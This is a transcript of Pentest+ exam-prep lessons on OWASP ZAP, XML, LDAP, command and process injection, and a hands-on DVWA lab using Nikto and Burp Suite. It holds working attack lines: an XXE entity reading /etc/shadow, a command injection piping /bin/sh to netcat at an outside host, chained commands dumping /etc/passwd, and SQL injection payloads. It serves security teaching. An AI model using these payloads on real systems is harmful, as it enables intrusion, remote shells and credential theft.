CompTIA Pentest+ PT0-002 – Section 12: Application Attacks Part 4

119. OWASP ZAP (OBJ 3.3)

In this lesson, we’re going to talk about the OWASP Foundation’s; ZAP program. Now, ZAP is the Zed Attack Proxy, also known as ZAP. It’s an open source interception proxy, and web application assessment tool that’s written in Java. Now, because it’s written in Java; it works on Windows systems, Linux systems, and Mac systems just like Burp Suite does. Now, this is an open source program, which means you can actually take that code and modify it to your heart’s content and they won’t mind. Now, just like Burp Suite, OWASP ZAP does include crawlers to automate the discovery of links and content within a web application. So for example, here on the screen; you can see that the tool has connected to that web server, and it’s starting to find all of the different web pages that are associated with this particular website.

So we have 515support.com, 515support.com slash robots.txt, slash sitemap.xml, slash DVWA, slash dvwa, slash dvwa. And it will keep going on and on until it finds all the webpages on this site. It’s a great way for it to index the site. So you can then look for vulnerabilities in those pages. Now, in addition to that; OWASP ZAP will also include automated vulnerability scanning by using its scan engine. to do this, you’re going to end up setting up a scam policy, much like you do with NESIS and then it will be able to go through and look for those things based on the different plugins that you have. For instance, if you decide you want to use a scam policy to be able to detect the client browser, or to conduct information gathering, or trying to do injections you could do all of that from within this tool.

Now, in addition to all of that; it also has this nice feature called the Heads Up display or HUD mode. This provides alert indications and scan tools within your browser when you go and open pages within a website. So if I open up my web browser and I’m scanning this website, which happens to be DVWA I can actually go through and you’ll see, there’s those tools on the left hand side. Notice at the top bar, it’s highlighted in orange. And on the left side, I have the different tools. Based on that toolbar on the left hand side, I can see that there is one orange alert and four yellow alerts. And if I click on those, I would get more information about them. On the right hand side; I can get different information about the different sites, I can start crawling, I can do some kind of exploitations on them and other things all from within this web browser, because it’s integrating with this tool set. Now, for the exam, again, you do not need to know how to use the OWASP ZAP tool. It’s something that’s great for you to spend some time in and gain to understand it. But for the exam you don’t have to. You should be aware of what this tool is. It’s an intercept proxy, and it has the ability to do web application vulnerability scanning as well. That’s as deep as you need to know when we talk about the OWASP ZAP for this exam. Now, in the real world; you’ll probably want to get comfortable using something like Burp Suite or the OWASP ZAP tool, because it will help you as you do your web application scanning and vulnerability assessments.

120. XML Injections (OBJ 3.3)

In this lesson, we’re going to discuss XML injection attacks. Now, XML stands for the extensible markup language, and it’s used by web applications for authentication, authorization, and other types of data exchange. According to the exam objectives, XML is listed under the injection attack section, but technically, an XML injection isn’t really entirely accurate. Really, what we should be talking about is XML vulnerabilities or XML exploitation, because really, the vulnerabilities being exploited is the way XML is being parsed by the application. But for the purposes of the exam, if you see the term XML vulnerability, XML exploitation or XML injection, they’re referring to the same thing. Now, XML data must be submitted from a client to a server or from one server to another server. To protect the XML data in transit, we want to make sure we’re sending it inside of an encrypted tunnel, something like a TLS tunnel. To protect your servers when it receives the XML data, you should always conduct input validation and input sanitization of the data received. This will help protect the server from any kind of XML exploitation or injection attack. If you submit XML data without encryption or without input validation, it is going to be vulnerable to spoofing, request forgery and injection of arbitrary code.

When you look at XML data, it’s going to appear as a human readable format with a series of tagged fields. For example, here’s a short XML file that I create containing a practice exam question. The first line defines this text as an XML file and specifies what version of XML and type of encoding I want to use. The second line defines the type of data that I’m going to be using in this XML file. In this case, I’m defining the information contained as a question for a web application quiz program that I’m writing. Next, you’re going to see there are four more fields inside this question type. The first field is included in the ID field, and you’re going to see it contain the identifier for the sample question. Next, I have a title field, and I titled this question as, “Is this an XML vulnerability?” Next, I have the choice1 and choice2 fields. And now the great thing you’re going to see about XML is that it can be configured with whatever fields you want based on your application that you’re building. In this case, I’m showing you how I would define questions for this quiz application. Finally, you see the ending of /question and /XML tags to close out this data, just like you’d close out an HTML tag inside of a website’s code. Now, if you see thing like this on test day, you should immediately identify it as XML data. In this example, there is nothing malicious or suspicious here. It’s just regular XML data being used to contain information and send it to or from another application. Now, let’s talk about some exploits that you’ll see used with XML. First, we have an XML bomb, also known as the billion laughs attack. Now an XML bomb takes XML and then encodes it and uses that encoding entities to expand them to exponential sizes, which will consume memory on the host and potentially crash it. The reason this is called a billion laughs attack is that XML entry’s reference in the file are written as lol1 through lol9, and each of these references the line before it as well. So if we start it from the bottom, we start seeing lol9, and you can see there are 10 lol8s inside of that. And then as we go to lol8, we can see there are 10 lol7s and this pattern continues all the way up. This essentially creates a billion lols, because of the factor nature of the entity references.

This simple code can consume up to three gigabytes of memory due to the repetitive references being used. Now, if an attacker can get your server to parse this XML file, it can start consuming all these resources on your web server. And this is why we call it an XML bomb, because it acts like a bomb or denial of service attack consuming up your resources. The second type of exploit we have is known as an XXE attack or XML external entity attack. Now, this is a type of attack that attempts to embed a request for a local resource. That sounds an awful lot like a local file inclusion, doesn’t it? Well, it is. Here’s an example of an XML external entity attack. Again, notice we have an XML version and encoding in the first line. Next, we have the document type listed as foo, which is just code speak for some kind of a junk variable. Then we’re going to have the ELEMENT foo ANY, and we have the entity xxe SYSTEM. And then the file, file:///etc/shadow. And then we end this out with some kind of data type in XML, in this case, calling it foo. Now, most of this doesn’t look too bad or malicious, but that fourth line that contains /etc/shadow is inside of this XML entity, trying to read the contents of the shadow file of the Linux machine.

This would contain the password hashes for the system account, and we wouldn’t want our attacker to get that. So to prevent XML vulnerabilities from being exploited like these, remember you always need to have proper input validation. Input validation, input validation, input validation. I keep mentioning it in a lot of our different web applications and exploits, because it’s really important here. Anytime you get input from a user or a client, whether it’s a URL being inputted, a file being inputted, a field being entered on a website or some XML data being sent, we can prevent a lot of security issues if we just conduct input validation. For the exam, if you see something with XML written in it that is clearly XML, guess what, that’s going to be an XML vulnerability that’s being exploited in that question. They might call this an XML vulnerability, an XML exploitation, or an XML injection. Whatever term they use, it’s normally XML that’s being exploited when you see XML formatted data inside of the question. Now, the only really tricky part with these questions is that XML code can often look a lot like HTML code or JavaScript. To tell the difference, remember that HTML or JavaScript uses defined keywords for each of those bracketed entries. But with XML, you can make those say whatever you want, depending on how you can configure your XML. So for the exam, I want you to stop and take a moment and look over any code they give you, and first determine, is it HTML, JavaScript, or XML. If you see something like a font or an image or href in the tag, it’s likely HTML. If you see something like question, ID, type or element or entity, those are XML. If you can make the determination between these, you should be able to have no problems answering questions involving XML vulnerabilities, exploitation or injections on the exam.

121. Other Injections Attacks (OBJ 3.3)

In this lesson, we’re going to discuss some other common injection attacks including LDAP injections, command injections, and process injections. First, we have LDAP injections. LDAP or the Lightweight Directory Access Protocol is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol network. LDAP is often used for authentication and storing information about users, groups, and applications. An LDAP injection is an application attack that targets web-based applications by fabricating LDAP statements that are typically created by user input. For example, if a web application uses LDAP as part of the user login process, an attacker could perform an LDAP injection to search for the users on that server by injecting queries into the LDAP search, similar to how an attacker inserts malicious queries into an SQL injection. For example, if the backend code for the server used the following code: string ldapSearch = “(cn = $searchName”)”; System.out.println(ldapSearch); this could actually allow an attacker to simply enter a wild card character of star into the username field and that would then be inserted as the search parameter and display all of your users on the system to your screen.

To protect yourself against an LDAP injection attack, you should always use input validation and input sanitization, just like we do to protect ourselves from an SQL injection or an XML injection. Second, we have a command injection. Now, a command injection occurs when a threat actor is able to execute arbitrary shell commands on a host via a vulnerable web application. For example, if you have a web application that allows a user to test the connectivity with a remote website or server by simply entering in the IP address or host name and then on the back end, you’re going to use the ping command, this could be subject to a command injection by simply appending a command to the app. For example, your application in this website might have a form that’s going to allow you to enter an IP address and the web application then takes that input and adds it to the ping command to execute it on your server. So, if I enter diontraining.com and hit the button, it’s going to send that over and become ping diontraining.com. But, if instead, I decide to enter diontraining.com && hostname into that field, this will create a command of ping diontraining.com && hostname that’s going to be executed by the server shell. This would then return the result of the ping command and then display the host name of that server. If I wanted to make this a little bit more malicious, I could instead use something like diontraining.com && /bin/sh | nc diontraining.com && /bin/sh | nc hacked.diontraining.com 443.

This would then ping diontraining.com and then move to the second command, which is starting a up a shell and redirecting it over to netcat to a listener that I have set up at hacked.diontraining.com over port 443. This would essentially give me full interactive access to this web server by running this simple command injection against that vulnerable server. As you probably guessed, just like SQL injections, XML injections, and LDAP injections, you could also prevent command injections by conducting proper input validation on input received from any of your users. In the case of this web application, we should only accept IP addresses or domain name as input. And we should only allow those to be pinged using this application and anything after the.com or the final optic should just be ignored or it’s not sent over to that ping command. Third, we have process injections.

Now, process injection is a method of executing arbitrary code in the address base of a separate live process. Running code in the context of another process may allow access to the process’ memory, system or network resources, and possibly even elevated privileges. Execution via process injection may also evade detection from security products because execution is masked under a legitimate process. Now, there are many different ways to inject code into a process. Many of these will abuse legitimate functionalities as well. This includes injection through DLLs, threat execution hijacking, process hollowing, process doppelgänging, asynchronous procedure calls, and portable execution injections. To mitigate against process injections, you should use endpoint security solutions that are configured to block common sequences of attack behavior. You can utilize the security kernel module and you can utilize the practice of least privilege.

122. Attacking Web applications (OBJ 3.3)

In this lesson, we’re going to go through a couple of different ways to look at web applications. We’re going to use Nikto which is a vulnerability scanner. We’re going to use Burp Suite which is an interception proxy. And we’re even going to go through and look at some SQL injections and some hands-on injections. So let’s go ahead and get started. What I’m going to do first is jump into my lab environment, and we’re going to start with Nikto. As I said, Nikto is a web application vulnerability scanner. If you think about Nessus and Qualys and things like that, those are used against your infrastructure: servers, routers, switches and hosts. But if you want to look at a web application in depth, you really want to use something like Nikto. So you’re going to go into your terminal, and you’re going to run the command, nikto dash host, and the IP of the host you’re trying to scan. In my case, it’s 10.1.0.10. Now, once you do that, you’re going to see some of the issues that were found. For instance, you can see on this first line that the server is an Apache 2.4.6 server being run on CentOS. Now, as you go through, you can see there are some anti-clickjacking options that are not present. You can see some cross-site scripting protection headers are not defined. You can see some X content type options is not set. And as you go down, you’ll see all the different vulnerabilities. As you get even further down, you’re going to see things that say OSVDB which are some vulnerability database files that are going to tell you exactly what was tested. So you could see that under 877, there is an HTTP TRACE method that is activated. And this suggests that the host is vulnerable to an attack. And so as you go through, you can identify each of these different things.

And then you can look them up, research them and figure out how to solve those issues. Now the next thing we want to do is test our website and look at it from a probing perspective for directories and files. We can do this using a different plugin inside of Nikto. So I’m going to use nikto dash host 10.1.0.10 dash plugins and then the plugin I want to use. In my case, it’s going to be a dictionary under dictionary user slash share slash wordless slash dirb slash common dot txt. When I do that, I’m going to be able to run a scan for common file and directory names on that server. Next, let’s run a command to find any files that require authorization to view. I can do this by using nikto dash host 10.1.0.10 dash display and the number four. Note this will show me all the files that are now identified that would’ve required authorization to view. The next thing I want to do is try to perform a credentialed scan against that web application, and I want to save that output as an HTML report. Nikto can do this as well. We’re going to type in nikto dash host http colon slash slash 10.1.0.10 slash dvwa, which is the web application that I want to go after, then dash id and the credentials. In my case, admin with a password of password.

And then I want to output that by using dash O and then slash root slash Downloads slash dvwa dot htm and then dash Format and put it into HTML format, so I’ll type in htm. Once I do that, I’m going to now have that file inside that root directory underneath the Downloads folder. If I want to see that, because it’s an HTML file, I need to open it using Firefox. So I’ll type in Firefox space slash route slash Downloads slash dvwa dot html. And this will show me all of the information in that report. Now, as I go through that report, I can see all the different issues that were found. For instance, there’s directory indexing not found. There’s configuration information that could be remotely available. And there’s other things like that as we go through it, for instance, this PHP reveal that’s being shown where sensitive information is being displayed to the client as they go into that application. So these are all just a quick summary of some of the issues we found with this vulnerable web application. Now, the next thing I want to test is I want to move beyond Nikto. So we’ve done Nikto, and we have some good baseline knowledge of how this works. Now let’s move into Burp Suite. Burp Suite is an interception proxy. And so the first thing I need to do is configure it. To be able to configure interception proxy, I have to set up my proxy on my web browser. So I’m going to go into my web browser, and I’m going to type in about colon preferences hashtag advanced and then press Enter. When I do this, it’s going to bring up a page, and I need to scroll all the way to the end of the page and click Settings. Once I click on Settings, I now need to select the Manual proxy configuration radio button and then type in the web proxy’s address. In my case, 127.0.0.1. That’s my local host. That’s the machine where I’m going to be running Burp Suite. Then under the Port, I’m going to type in 8080 which is the common HTTP proxy port.

And then I’m going to check Use this proxy server for all protocols. So anything running on this machine that uses the network will use this local host as my proxy. And then I’m going to click OK. And next, I need to open up Burp Suite, and I need to accept the default configurations. Now we’re ready to start inspecting sessions and header data. To do this, we are going to use Burp Suite to monitor and record those web sessions. This will allow us to inspect it, and if we want, modify the data that’s going between the browser and the server. This concludes things like your headers, your cookies and your form field submissions. Now the first thing I want to do is click on the Proxy tab and then click the Intercept is on button to toggle of that intercept off. Now I want to arrange my Firefox and my Burp Suite windows, so I can see both of them as I’m going through this process. So you’ll see I have them on the left and the right. In Firefox, I’m going to go to the website that I want to look at. In my case, www.515support.com/dvwa. And then I’m going to log into that web up application using my credentials. Now as a regular user, I have usernames and passwords.

In this case, I have admin as the username and password as the password. Now in Burp Suite, I can click on the HTTP history tab, and this is going to list all of the different requests that have been proxied while Burp Suite was on. Now, if I select the GET row, I can see the request here for dvwa. Note the server response here. They’re issuing a redirect to the login page. Now, if I select the GET row, requesting that dvwa slash login php form, this is going to show me exactly what happened here. I can go ahead and check the output of the various tabs here, things like raw, headers, HTML and render. And as I look at those, I can see the browser’s request and the server’s response. Now you can see here that the application has set two different cookies. One is to identify the security level that we’re are going to be issued. And the other is to set up a session ID. Now, remember HTTP is a stateless protocol, so if I want to be able to tell who is talking to my server, I have to use cookies or some other session management technique. All right, now if I select the POST row, I can see the information that was submitted from my browser. In here, you can actually view the clear text credentials inside of Burp Suite.

So I can see that the username was admin, and the password was password, and that they used this user token of this random long string. Now, why could I see this credential information? Well, because we use HTTP instead of HTTPS. And so you could see why it’s so important that you use secure connections when you’re transiting information back and forth. The next thing I want to start working on is testing command injection. And so to do this, I’m going to go into the browser and select the Command Injection tab in the DVWA web application. Now, obviously, in a real world experience, the attack would have to spend a lot of time mapping out pages and forms and finding things through their reconnaissance. But DVWA is built for us to be able to use this with known sets of bad issues, so we can test things against it and see what they look like in the field. Now, when we do this, we see that there is a box here that’s going to allow us to put a command in. Now, it’s supposed to be used for the ping command. But if somebody didn’t program this right, that means you might be able to run any command you want. So let’s go ahead and try it. All right. So I’m going to enter 10.1.0.1 in the box and click Submit. This is going to allow me to ping that device, that web server. Now that works great. But what if this person didn’t do their coding right? And instead of just issuing the ping command, I could issue other commands maybe.

Well, let’s try a couple of Linux commands and see if we can do a command injection. Let’s try inserting ls and typing Submit. What do we see? Nothing. It didn’t work for us. All right. Let’s try something else. Let’s try typing in 10.1.0.1 like we did before and then put ampersand ampersand ls. What happens this time? Well, there you go. We got the ping that we are expecting, but we also got the directory listing, so we were able to do a command injection here. Let’s go ahead and try another one. Let’s try one ampersand ampersand ps dash e. This will tell us if it’s going to accept anything with a number first and then going from there. Well, that one didn’t do anything. Hmm. Let’s try something else. Let’s try putting in 10.1.0.1 ampersand ampersand ps dash e and click Submit. Yes. That one worked. It does the ping, and then it shows me the processes that are being executed here. So it is allowing me to do command chaining as long as I start with an IP address.

Let’s try some more. How about 10.1.0.1 ampersand ampersand netstat dash tlnp and then click Submit? Is this going to work? Yes, it is. We’re going to get that ping and then the executing of that command, because we’re chaining these commands together inside this box. It appears to me that all this box is doing is checking, did you put in an IP address, and it’s going to execute that by a ping. And then if you use the ampersand ampersand, you could put any command you want afterwards. So I might be able to access files. For instance, what if I could go in there and use 10.1.0.1 ampersand ampersand cat slash etc slash password and click Submit. Look at that. We were able to get the ping, and then we got the password file. Well, if we can get the password file, let’s go ahead and grab the shadow file. Let’s try 10.1.0.1 ampersand ampersand cat slash etc slash shadow and click Submit.

Now, unfortunately, reading the shadow file didn’t work. Why is that? Well, because the shadow file has specific permissions on it to protect it from things like this happening. Now, the command cat slash etc slash shadow did work, but it couldn’t display the shadow file, because that shadow file is protected. Now, to confirm this, let’s go ahead and check a couple more commands. Let’s try 10.1.0.1 ampersand ampersand whoami. This will tell us who we are actually operating as. And in this case, you could see we’re operating as the user known as apache, because we’re running it through the web server. Let’s go ahead and see if we can get some more information. What if we did 10.1.0.1 ampersand ampersand getent passwd zero?

What is this going to do? Well, this is going to get us the root user which is user ID zero. It’s going to get their information from the password file and display it to the screen. Now, if we do this, and we want to see what the group is for that, we could try that by doing 10.1.0.1 ampersand ampersand getent group and then root. And when we do that, you’re going to see that we have the root user is a member with group x and is the user ID of zero. Next, let’s go ahead and try doing some fuzzed input and see if that’s going to do anything for us. So what we’re going to do here is instead of just inventing different commands to throw at this misbehaving inbox, we can start doing a more structured approach by sending in fuzzed data. This is a fuzzer. And essentially, we can use Burp Suite as that fuzzer.

This will help of us to automate a lot of this testing instead of me sitting here and typing in all these commands by myself. So let’s go ahead and click on the SQL Injections tab. And here, we’re going to type a one in the box and click Submit. When we do that, we see what the function is supposed to do. When you give it a user ID, it’s going to give you their first name and their last name. In this case, admin and admin. Now in Burp Suite, if I go to the HTTP history tab, I can right-click on that last request and click Send to Intruder. Now, once I go to the Intruder tab within the intruder module, I can select the Positions tab and then click the Clear button. Here, I’m going to select the character one following the id equals in the first line, and then I’m going to click Add. Next, I’m going to click on the Payloads tab. And from here, I’m going to click the Load button and then browse to slash user slash share slash wordless slash wfuzz slash injections slash SQL dot txt. And then I’ll click Start attack. Now, what is this doing? Well, what I just did was I selected the variable that I want to change, that id equals one. And I want to start putting id equals, whatever the lines are of this SQL file, and so this is going to automate my attack for me.

So as I go through, it’s going to go through and put each and every one in there. And as that attack progresses, you’re going to observe the Length column. The unmodified input is going to return a page that is 4868 bites in length. Now, if you look at the response with a length of 4809, you’re going to see their basically blank, while anything smaller has returned an unformatted error message. Now, if we want to sort the output by length, we can click on the Length column, and then we can look any response that’s larger than 4868. For instance, I have one that is 5176. This is apostrophe or one equals one or quote equals apostrophe. Now, what does that look like to you? To me, it looks like an SQL injection, right? And if you look through this, all of these different things being shown here that are above that threshold of 4868 are different forms of SQL injections. Now I want you to look at the response for anything with that single quote payload, because again, this is a simple SQL statement. And basically, if this form that we have on the DVWA isn’t doing input validation, it’s going to allow me to do these SQL injections. All right, enough by that for now, let’s go ahead and close the Intruder window to stop our attack. All right. So now that we know that this thing is vulnerable to SQL injection, let’s take a look at the code itself and do a manual analysis of it, so we can review that vulnerable code. If I switch back to my browser, and I click on the SQL Injection page, I can click it and then look at View Source. When I do this, the source code is going to pop up. When we look at that, we’re going to compare all levels by clicking on that button.

Now, as we compare each iteration of the code, we can see that the higher security code has some input validation, while the lower ones don’t. For example, you can see the is numeric function here within this first if block. Now, basically, what this does is any input that comes in is checked using if it’s numeric. And if it is numeric, it’s going to process it. If it is not numeric, it’s going to delete it and just ignore that.

This essentially is a basic form of input validation. Now, this only is going to check this number, this input, if it is a number, because we’re expecting id to equal some number, and so we want to prevent anything else from being there. So if I put apostrophe, that would prevent this, right? Because it’s not numeric. Now, you’ll notice at the bottom under the comment of code here, we also have this little validation statement that’s going to make sure only one result is return. So if I put in number one, I should only get the first entry, the admin admin. If I put in two, I should get that for the second user and not the third, fourth and fifth user. This would only give us one row at a time from the database. As you can see here that the data inside the row count has to be equal to one. If it is, get the values. If not, we’re going to ignore it. So that’s the way that we can do some base input validation. So this is a good input validation method to prevent an SQL injection.

• Category: Uncategorized